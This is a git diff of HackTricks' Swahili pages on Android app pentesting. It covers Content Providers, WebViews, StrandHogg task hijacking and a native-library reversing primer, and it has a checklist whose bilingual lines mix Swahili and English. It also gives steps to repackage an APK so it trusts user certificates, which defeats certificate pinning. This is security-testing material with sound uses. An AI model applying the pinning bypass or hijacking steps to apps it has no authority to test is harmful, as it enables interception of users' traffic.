**Content Providers** ni muhimu kwa **kushiriki data iliyopangwa** kati ya programu, ikisisitiza umuhimu wa kutekeleza **ruhusa** ili kuhakikisha usalama wa data. Wanaruhusu programu kufikia data kutoka vyanzo mbalimbali, ikiwa ni pamoja na hifadhidata, mifumo ya faili, au mtandao. Ruhusa maalum, kama **`readPermission`** na **`writePermission`**, ni muhimu kwa kudhibiti ufikiaji. Zaidi ya hayo, ufikiaji wa muda unaweza kutolewa kupitia mipangilio ya **`grantUriPermission`** katika manifest ya programu, ikitumia sifa kama `path`, `pathPrefix`, na `pathPattern` kwa udhibiti wa ufikiaji wa kina.
|
||||
|
||||
Uthibitisho wa ingizo ni muhimu ili kuzuia udhaifu, kama vile SQL injection. Content Providers zinasaidia operesheni za msingi: `insert()`, `update()`, `delete()`, na `query()`, zikifanikisha usimamizi wa data na kushiriki kati ya programu.
|
||||
Uthibitishaji wa ingizo ni muhimu ili kuzuia udhaifu, kama vile SQL injection. Content Providers zinasaidia operesheni za msingi: `insert()`, `update()`, `delete()`, na `query()`, zikifanikisha usimamizi wa data na kushiriki kati ya programu.
|
||||
|
||||
**FileProvider**, Content Provider maalum, inazingatia kushiriki faili kwa usalama. Inafafanuliwa katika manifest ya programu kwa sifa maalum za kudhibiti ufikiaji wa folda, zinazoonyeshwa na `android:exported` na `android:resource` zikielekeza kwenye mipangilio ya folda. Tahadhari inashauriwa wakati wa kushiriki saraka ili kuepuka kufichua data nyeti bila kukusudia.
|
||||
|
||||
|
|
@ -344,7 +336,7 @@ For further information check:
|
|||
|
||||
## WebViews
|
||||
|
||||
WebViews ni kama **vivinjari vidogo vya wavuti** ndani ya programu za Android, vinavyovuta maudhui kutoka kwenye wavuti au kutoka kwenye faili za ndani. Vinakabiliwa na hatari sawa na vivinjari vya kawaida, lakini kuna njia za **kupunguza hatari hizi** kupitia **mipangilio** maalum.
|
||||
WebViews ni kama **vivinjari vidogo vya wavuti** ndani ya programu za Android, vinavyovuta maudhui ama kutoka kwenye wavuti au kutoka kwenye faili za ndani. Vinakabiliwa na hatari sawa na vivinjari vya kawaida, lakini kuna njia za **kupunguza hatari hizi** kupitia **mipangilio** maalum.
|
||||
|
||||
Android inatoa aina mbili kuu za WebView:
|
||||
|
||||
|
|
@ -366,11 +358,11 @@ Ili kudhibiti ufikiaji wa faili:
|
|||
|
||||
### **Digital Signing of Applications**
|
||||
|
||||
- **Sahihi ya kidijitali** ni lazima kwa programu za Android, kuhakikisha zimeandikwa **kwa njia halisi** kabla ya usakinishaji. Mchakato huu unatumia cheti kwa ajili ya utambulisho wa programu na lazima uhakikishwe na meneja wa pakiti wa kifaa wakati wa usakinishaji. Programu zinaweza kuwa **zimejitia saini au kuthibitishwa na CA ya nje**, kulinda dhidi ya ufikiaji usioidhinishwa na kuhakikisha programu inabaki bila kubadilishwa wakati wa usafirishaji wake kwa kifaa.
|
||||
- **Saini ya kidijitali** ni lazima kwa programu za Android, kuhakikisha zimeandikwa **kwa njia halisi** kabla ya usakinishaji. Mchakato huu unatumia cheti kwa ajili ya utambulisho wa programu na lazima uhakikishwe na meneja wa pakiti wa kifaa wakati wa usakinishaji. Programu zinaweza kuwa **zimejitia saini au kuthibitishwa na CA ya nje**, kulinda dhidi ya ufikiaji usioidhinishwa na kuhakikisha programu inabaki bila kubadilishwa wakati wa usafirishaji wake kwa kifaa.
|
||||
|
||||
### **App Verification for Enhanced Security**
|
||||
|
||||
- Kuanzia **Android 4.2**, kipengele kinachoitwa **Verify Apps** kinawaruhusu watumiaji kuangalia programu kwa usalama kabla ya usakinishaji. Mchakato huu wa **uthibitishaji** unaweza kuwatahadharisha watumiaji dhidi ya programu zinazoweza kuwa hatari, au hata kuzuia usakinishaji wa zile zenye uharibifu mkubwa, kuimarisha usalama wa mtumiaji.
|
||||
- Kuanzia **Android 4.2**, kipengele kinachoitwa **Verify Apps** kinawaruhusu watumiaji kuangalia programu kwa usalama kabla ya usakinishaji. Mchakato huu wa **uthibitishaji** unaweza kuwatahadharisha watumiaji dhidi ya programu zenye hatari, au hata kuzuia usakinishaji wa zile zenye uharibifu mkubwa, kuimarisha usalama wa mtumiaji.
|
||||
|
||||
### **Mobile Device Management (MDM)**
|
||||
|
||||
|
|
@ -385,12 +377,6 @@ if (dpm.isAdminActive(adminComponent)) {
|
|||
dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||
}
|
||||
```
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
|||
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Task, Back Stack and Foreground Activities
|
||||
|
||||
Katika Android, **task** kimsingi ni seti ya shughuli ambazo watumiaji wanashirikiana nazo ili kukamilisha kazi maalum, zimepangwa ndani ya **back stack**. Stack hii inaweka shughuli kulingana na wakati zilifunguliwa, huku shughuli ya hivi karibuni ikionyeshwa juu kama **foreground activity**. Katika wakati wowote, shughuli hii pekee ndiyo inaonekana kwenye skrini, na kuifanya kuwa sehemu ya **foreground task**.
|
||||
Katika Android, **task** kimsingi ni seti ya shughuli ambazo watumiaji wanashiriki ili kukamilisha kazi maalum, zimepangwa ndani ya **back stack**. Stack hii inaweka shughuli kulingana na wakati zilifunguliwa, huku shughuli ya hivi karibuni ikionyeshwa juu kama **foreground activity**. Wakati wowote, shughuli hii pekee ndiyo inaonekana kwenye skrini, na kuifanya kuwa sehemu ya **foreground task**.
|
||||
|
||||
Hapa kuna muhtasari wa harakati za shughuli:
|
||||
|
||||
|
|
@ -48,11 +40,11 @@ Attribute ya `launchMode` inaelekeza usimamizi wa mifano ya shughuli ndani ya ka
|
|||
|
||||
### Detailed Attack Steps
|
||||
|
||||
1. **Malicious App Installation**: Mwathirika anaweka programu ya mshambuliaji kwenye kifaa chao.
|
||||
2. **Initial Activation**: Mwathirika kwanza anafungua programu ya uhalifu, akitayarisha kifaa kwa shambulio.
|
||||
3. **Target App Launch Attempt**: Mwathirika anajaribu kufungua programu lengwa.
|
||||
4. **Hijack Execution**: Kutokana na mechi ya task affinity, programu ya uhalifu inazinduliwa badala ya programu lengwa.
|
||||
5. **Deception**: Programu ya uhalifu inaonyesha skrini ya kuingia bandia inayofanana na programu lengwa, ikimdanganya mtumiaji kuingiza taarifa nyeti.
|
||||
1. **Usakinishaji wa Programu Mbaya**: Mwathirika anaweka programu ya mshambuliaji kwenye kifaa chao.
|
||||
2. **Kuanza Kwanza**: Mwathirika kwanza anafungua programu mbaya, akitayarisha kifaa kwa shambulio.
|
||||
3. **Jaribio la Kuanzisha Programu Lengwa**: Mwathirika anajaribu kufungua programu lengwa.
|
||||
4. **Utekelezaji wa Hijack**: Kutokana na mechi ya task affinity, programu mbaya inaanzishwa badala ya programu lengwa.
|
||||
5. **Udanganyifu**: Programu mbaya inaonyesha skrini ya kuingia bandia inayofanana na programu lengwa, ikimdanganya mtumiaji kuingiza taarifa nyeti.
|
||||
|
||||
Kwa utekelezaji wa vitendo wa shambulio hili, rejelea hifadhi ya Task Hijacking Strandhogg kwenye GitHub: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg).
|
||||
|
||||
|
|
@ -65,11 +57,6 @@ Ili kuzuia mashambulizi kama haya, waendelezaji wanaweza kuweka `taskAffinity` k
|
|||
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
|
||||
* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
|||
|
|
@ -13,27 +13,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
Baadhi ya programu hazipendi vyeti vilivyopakuliwa na mtumiaji, hivyo ili kukagua trafiki ya wavuti kwa baadhi ya programu tunapaswa kweli ku-decompile programu hiyo & kuongeza mambo machache & kuirekebisha tena.
|
||||
Baadhi ya programu hazipendi vyeti vilivyopakuliwa na mtumiaji, hivyo ili kukagua trafiki ya wavuti kwa baadhi ya programu tunapaswa kweli kufungua upya programu hiyo na kuongeza mambo machache na kuirejesha.
|
||||
|
||||
# Automatic
|
||||
|
||||
Zana [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) itafanya **kiotomatiki** mabadiliko muhimu kwenye programu ili kuanza kukamata maombi na pia itazima pinning ya cheti (ikiwa ipo).
|
||||
Zana [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) itafanya mabadiliko muhimu kwenye programu ili kuanza kukamata maombi na pia itazima pinning ya cheti (ikiwa ipo).
|
||||
|
||||
# Manual
|
||||
|
||||
Kwanza tunadecompile programu: `apktool d *file-name*.apk`
|
||||
Kwanza tunafungua upya programu: `apktool d *file-name*.apk`
|
||||
|
||||
|
||||
|
||||
Kisha tunaenda kwenye faili ya **Manifest.xml** na kuporomoka hadi kwenye tag ya `<\application android>` na tutaongeza mstari ufuatao ikiwa haupo tayari:
|
||||
Kisha tunaenda kwenye faili **Manifest.xml** na kuporomoka hadi lebo ya `<\application android>` na tutongeza mstari ufuatao ikiwa haupo tayari:
|
||||
|
||||
`android:networkSecurityConfig="@xml/network_security_config`
|
||||
|
||||
|
|
@ -45,7 +37,7 @@ Baada ya kuongeza:
|
|||
|
||||
|
||||
|
||||
Sasa ingia kwenye folda ya **res/xml** na tengeneza/badilisha faili inayoitwa network\_security\_config.xml yenye maudhui yafuatayo:
|
||||
Sasa ingia kwenye folda **res/xml** na uunde/badilisha faili lililo na jina network\_security\_config.xml lenye maudhui yafuatayo:
|
||||
```markup
|
||||
<network-security-config>
|
||||
<base-config>
|
||||
|
|
|
|||
|
|
@ -15,34 +15,21 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia kama kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na kuchukuliwa kwa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
**Kwa maelezo zaidi angalia:** [**https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html)
|
||||
|
||||
Programu za Android zinaweza kutumia maktaba za asili, ambazo kwa kawaida zimeandikwa kwa C au C++, kwa kazi zinazohitaji utendaji wa juu. Waumbaji wa malware pia hutumia maktaba hizi, kwani ni ngumu zaidi kuzirekebisha kuliko DEX bytecode. Sehemu hii inasisitiza ujuzi wa kurekebisha ambao umeandaliwa kwa Android, badala ya kufundisha lugha za mkusanyiko. Toleo la ARM na x86 la maktaba linapatikana kwa ajili ya ulinganifu.
|
||||
Programu za Android zinaweza kutumia maktaba za asili, ambazo kwa kawaida zimeandikwa kwa C au C++, kwa kazi zinazohitaji utendaji wa juu. Waumbaji wa programu za hasidi pia hutumia maktaba hizi, kwani ni vigumu zaidi kuzirekebisha kuliko bytecode ya DEX. Sehemu hii inasisitiza ujuzi wa kurekebisha ambao umeandaliwa kwa Android, badala ya kufundisha lugha za mkusanyiko. Toleo la ARM na x86 la maktaba linapatikana kwa ajili ya ulinganifu.
|
||||
|
||||
### Key Points:
|
||||
### Mambo Muhimu:
|
||||
|
||||
* **Maktaba za Asili katika Programu za Android:**
|
||||
* Zinatumika kwa kazi zinazohitaji utendaji wa juu.
|
||||
* Zimeandikwa kwa C au C++, na kufanya kurekebisha kuwa ngumu.
|
||||
* Zimeandikwa kwa C au C++, na kufanya kurekebisha kuwa changamoto.
|
||||
* Zinapatikana katika muundo wa `.so` (kipande kilichoshirikiwa), sawa na binaries za Linux.
|
||||
* Waumbaji wa malware wanapendelea msimbo wa asili ili kufanya uchambuzi kuwa mgumu.
|
||||
* Waumbaji wa programu za hasidi wanapendelea msimbo wa asili ili kufanya uchambuzi kuwa mgumu.
|
||||
* **Java Native Interface (JNI) & Android NDK:**
|
||||
* JNI inaruhusu mbinu za Java kutekelezwa katika msimbo wa asili.
|
||||
* NDK ni seti ya zana maalum za Android za kuandika msimbo wa asili.
|
||||
* NDK ni seti maalum ya zana za Android za kuandika msimbo wa asili.
|
||||
* JNI na NDK huunganisha msimbo wa Java (au Kotlin) na maktaba za asili.
|
||||
* **Upakiaji wa Maktaba & Utekelezaji:**
|
||||
* Maktaba zinapakiwa kwenye kumbukumbu kwa kutumia `System.loadLibrary` au `System.load`.
|
||||
|
|
@ -50,35 +37,24 @@ Programu za Android zinaweza kutumia maktaba za asili, ambazo kwa kawaida zimean
|
|||
* Mbinu za asili zilizotangazwa na Java huunganisha na kazi za asili, na kuwezesha utekelezaji.
|
||||
* **Kuunganisha Mbinu za Java na Kazi za Asili:**
|
||||
* **Kuunganisha Kitaalamu:** Majina ya kazi katika maktaba za asili yanalingana na muundo maalum, kuruhusu kuunganisha kiotomatiki.
|
||||
* **Kuunganisha Kikatiba:** Inatumia `RegisterNatives` kwa kuunganisha, ikitoa kubadilika katika majina ya kazi na muundo.
|
||||
* **Kuunganisha Kikatiba:** Inatumia `RegisterNatives` kwa kuunganisha, ikitoa kubadilika katika uandishi wa majina ya kazi na muundo.
|
||||
* **Zana na Mbinu za Kurekebisha:**
|
||||
* Zana kama Ghidra na IDA Pro husaidia kuchambua maktaba za asili.
|
||||
* `JNIEnv` ni muhimu kwa kuelewa kazi za JNI na mwingiliano.
|
||||
* `JNIEnv` ni muhimu kwa kuelewa kazi na mwingiliano wa JNI.
|
||||
* Mazoezi yanatolewa ili kufanyia mazoezi upakiaji wa maktaba, kuunganisha mbinu, na kutambua kazi za asili.
|
||||
|
||||
### Resources:
|
||||
### Rasilimali:
|
||||
|
||||
* **Kujifunza ARM Assembly:**
|
||||
* **Kujifunza Mkusanyiko wa ARM:**
|
||||
* Inapendekezwa kwa kuelewa kwa kina muundo wa msingi.
|
||||
* [Misingi ya ARM Assembly](https://azeria-labs.com/writing-arm-assembly-part-1/) kutoka Azeria Labs inapendekezwa.
|
||||
* **Dokumenti za JNI & NDK:**
|
||||
* [Msingi wa Mkusanyiko wa ARM](https://azeria-labs.com/writing-arm-assembly-part-1/) kutoka Azeria Labs inapendekezwa.
|
||||
* **Hati za JNI & NDK:**
|
||||
* [Maelezo ya JNI ya Oracle](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html)
|
||||
* [Vidokezo vya JNI vya Android](https://developer.android.com/training/articles/perf-jni)
|
||||
* [Kuanza na NDK](https://developer.android.com/ndk/guides/)
|
||||
* **Kurekebisha Maktaba za Asili:**
|
||||
* [Kurekebisha Maktaba za Asili za Android kwa Kutumia JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia kama kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na kuchukuliwa kwa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
|||
|
|
@ -1,33 +1,25 @@
|
|||
# Android APK Checklist
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### [Jifunze misingi ya Android](android-app-pentesting/#2-android-application-fundamentals)
|
||||
### [Learn Android fundamentals](android-app-pentesting/#2-android-application-fundamentals)
|
||||
|
||||
* [ ] [Misingi](android-app-pentesting/#fundamentals-review)
|
||||
* [ ] [Dalvik & Smali](android-app-pentesting/#dalvik--smali)
|
||||
* [ ] [Nafasi za kuingia](android-app-pentesting/#application-entry-points)
|
||||
* [ ] [Nukta za kuingia](android-app-pentesting/#application-entry-points)
|
||||
* [ ] [Shughuli](android-app-pentesting/#launcher-activity)
|
||||
* [ ] [Mipango ya URL](android-app-pentesting/#url-schemes)
|
||||
* [ ] [Watoa maudhui](android-app-pentesting/#services)
|
||||
|
|
@ -39,62 +31,55 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
* [ ] [Jinsi ya kutumia ADB](android-app-pentesting/#adb-android-debug-bridge)
|
||||
* [ ] [Jinsi ya kubadilisha Smali](android-app-pentesting/#smali)
|
||||
|
||||
### [Uchambuzi wa Kijamii](android-app-pentesting/#static-analysis)
|
||||
### [Static Analysis](android-app-pentesting/#static-analysis)
|
||||
|
||||
* [ ] Angalia matumizi ya [obfuscation](android-checklist.md#some-obfuscation-deobfuscation-information), angalia kama simu imekuwa rooted, kama emulator inatumika na ukaguzi wa kupambana na uharibifu. [Soma hii kwa maelezo zaidi](android-app-pentesting/#other-checks).
|
||||
* [ ] Programu nyeti (kama programu za benki) zinapaswa kuangalia kama simu imekuwa rooted na zinapaswa kuchukua hatua kwa mujibu wa hilo.
|
||||
* [ ] Tafuta [nyuzi za kuvutia](android-app-pentesting/#looking-for-interesting-info) (nywila, URL, API, usimbuaji, milango ya nyuma, tokeni, Bluetooth uuids...).
|
||||
* [ ] Kipaumbele maalum kwa [firebase ](android-app-pentesting/#firebase)APIs.
|
||||
* [ ] [Soma manifesti:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
|
||||
* [ ] Angalia kama programu iko katika hali ya debug na jaribu "kuikabili"
|
||||
* [ ] Angalia kama APK inaruhusu nakala za akiba
|
||||
* [ ] Check for the use of [obfuscation](android-checklist.md#some-obfuscation-deobfuscation-information), checks for noting if the mobile was rooted, if an emulator is being used and anti-tampering checks. [Read this for more info](android-app-pentesting/#other-checks).
|
||||
* [ ] Maombi nyeti (kama programu za benki) yanapaswa kuangalia kama simu imejikita na yanapaswa kuchukua hatua kwa mujibu wa hilo.
|
||||
* [ ] Search for [interesting strings](android-app-pentesting/#looking-for-interesting-info) (nywila, URL, API, usimbuaji, milango ya nyuma, tokeni, Bluetooth uuids...).
|
||||
* [ ] Umakini maalum kwa [firebase ](android-app-pentesting/#firebase)APIs.
|
||||
* [ ] [Soma hati:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
|
||||
* [ ] Check if the application is in debug mode and try to "exploit" it
|
||||
* [ ] Check if the APK allows backups
|
||||
* [ ] Shughuli zilizotolewa
|
||||
* [ ] Watoa maudhui
|
||||
* [ ] Huduma zilizofichuliwa
|
||||
* [ ] Vipokezi vya matangazo
|
||||
* [ ] Mipango ya URL
|
||||
* [ ] Je, programu inahifadhi data kwa njia isiyo salama ndani au nje](android-app-pentesting/#insecure-data-storage)?
|
||||
* [ ] Je, programu inas[aidia kuhifadhi data kwa njia isiyo salama ndani au nje](android-app-pentesting/#insecure-data-storage)?
|
||||
* [ ] Je, kuna [nywila iliyowekwa kwa nguvu au kuhifadhiwa kwenye diski](android-app-pentesting/#poorkeymanagementprocesses)? Je, programu [inatumia algorithimu za usimbuaji zisizo salama](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
||||
* [ ] Je, maktaba zote zimeundwa kwa kutumia bendera ya PIE?
|
||||
* [ ] Usisahau kwamba kuna kundi la [waanalyzers wa Android wa Kijamii](android-app-pentesting/#automatic-analysis) wanaoweza kukusaidia sana katika awamu hii.
|
||||
* [ ] Maktaba zote zimeundwa kwa kutumia bendera ya PIE?
|
||||
* [ ] Usisahau kwamba kuna kundi la [waanalyzer wa Android wa statiki](android-app-pentesting/#automatic-analysis) ambao wanaweza kukusaidia sana katika awamu hii.
|
||||
|
||||
### [Uchambuzi wa Kijamii](android-app-pentesting/#dynamic-analysis)
|
||||
### [Dynamic Analysis](android-app-pentesting/#dynamic-analysis)
|
||||
|
||||
* [ ] Andaa mazingira ([mtandaoni](android-app-pentesting/#online-dynamic-analysis), [VM ya ndani au ya kimwili](android-app-pentesting/#local-dynamic-analysis))
|
||||
* [ ] Prepare the environment ([online](android-app-pentesting/#online-dynamic-analysis), [local VM or physical](android-app-pentesting/#local-dynamic-analysis))
|
||||
* [ ] Je, kuna [kuvuja kwa data zisizokusudiwa](android-app-pentesting/#unintended-data-leakage) (kuandika, nakala/paste, kumbukumbu za ajali)?
|
||||
* [ ] [Taarifa za siri zinahifadhiwa katika SQLite dbs](android-app-pentesting/#sqlite-dbs)?
|
||||
* [ ] [Shughuli zilizofichuliwa zinazoweza kutumika](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
|
||||
* [ ] [Watoa maudhui wanaoweza kutumika](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
|
||||
* [ ] [Huduma zilizofichuliwa zinazoweza kutumika](android-app-pentesting/#exploiting-services)?
|
||||
* [ ] [Vikumbusho vya matangazo vinavyoweza kutumika](android-app-pentesting/#exploiting-broadcast-receivers)?
|
||||
* [ ] Je, programu [inasafirisha taarifa kwa maandiko wazi/inatumia algorithimu dhaifu](android-app-pentesting/#insufficient-transport-layer-protection)? Je, MitM inawezekana?
|
||||
* [ ] [Vipokezi vya matangazo wanaoweza kutumika](android-app-pentesting/#exploiting-broadcast-receivers)?
|
||||
* [ ] Je, programu inasambaza [taarifa kwa maandiko wazi/ikatumia algorithimu dhaifu](android-app-pentesting/#insufficient-transport-layer-protection)? Je, MitM inawezekana?
|
||||
* [ ] [Kagua trafiki ya HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic)
|
||||
* [ ] Hii ni muhimu sana, kwa sababu ikiwa unaweza kukamata trafiki ya HTTP unaweza kutafuta udhaifu wa kawaida wa Mtandao (Hacktricks ina habari nyingi kuhusu udhaifu wa Mtandao).
|
||||
* [ ] Angalia uwezekano wa [Mingiliano ya upande wa mteja wa Android](android-app-pentesting/#android-client-side-injections-and-others) (labda uchambuzi wa msimbo wa statiki utaweza kusaidia hapa)
|
||||
* [ ] [Frida](android-app-pentesting/#frida): Frida tu, itumie kupata data ya kuvutia ya dynamic kutoka kwa programu (labda nywila zingine...)
|
||||
* [ ] Check for possible [Android Client Side Injections](android-app-pentesting/#android-client-side-injections-and-others) (labda uchambuzi wa msimbo wa statiki utaweza kusaidia hapa)
|
||||
* [ ] [Frida](android-app-pentesting/#frida): Just Frida, use it to obtain interesting dynamic data from the application (maybe some passwords...)
|
||||
|
||||
### Taarifa za obfuscation/Deobfuscation
|
||||
### Some obfuscation/Deobfuscation information
|
||||
|
||||
* [ ] [Soma hapa](android-app-pentesting/#obfuscating-deobfuscating-code)
|
||||
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
